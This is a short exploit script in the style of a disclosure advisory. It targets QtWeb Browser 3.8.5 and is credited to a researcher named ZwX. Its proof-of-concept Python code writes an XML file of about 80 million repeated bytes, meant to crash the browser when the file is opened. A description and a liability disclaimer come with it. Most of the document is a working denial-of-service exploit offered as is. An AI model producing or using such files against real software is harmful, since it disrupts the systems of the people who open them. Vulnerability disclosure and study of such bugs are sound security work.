#!/usr/bin/python # Exploit Title: QtWeb Browser 3.8.5 - (.xml)/Denial of Service Exploit # Date of Discovery: 2018-08-24 # Exploit Author: ZwX # Vendor Homepage: http://www.qtweb.net/ # Software Link: http://www.qtweb.net/downloads/QtWeb-setup.exe # Affected Versions: 3.8.5 # Tested on: Windows 7 # Category: local #Technical Details & Description: #================================ ''' A Denial Of Service vulnerability has been discovered in the official QtWeb Browser v3.8.5 The browser's web vulnerability can be exploited by remote attackers without a privileged user account and with low user interaction. Just create a file in (.xml) is the opening with the browser that will cause a Denial of Service ''' #Proof of Concept (PoC): #======================= buff = "\x44\x6f\x53/" * 20000000 poc = buff file = open("PoC.xml","w") file.write(poc) file.close() print "POC Created by ZwX" # Disclaimer: #=============== '''Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Copyright © 2018 | ZwX - Security Researcher (Software & web application)'''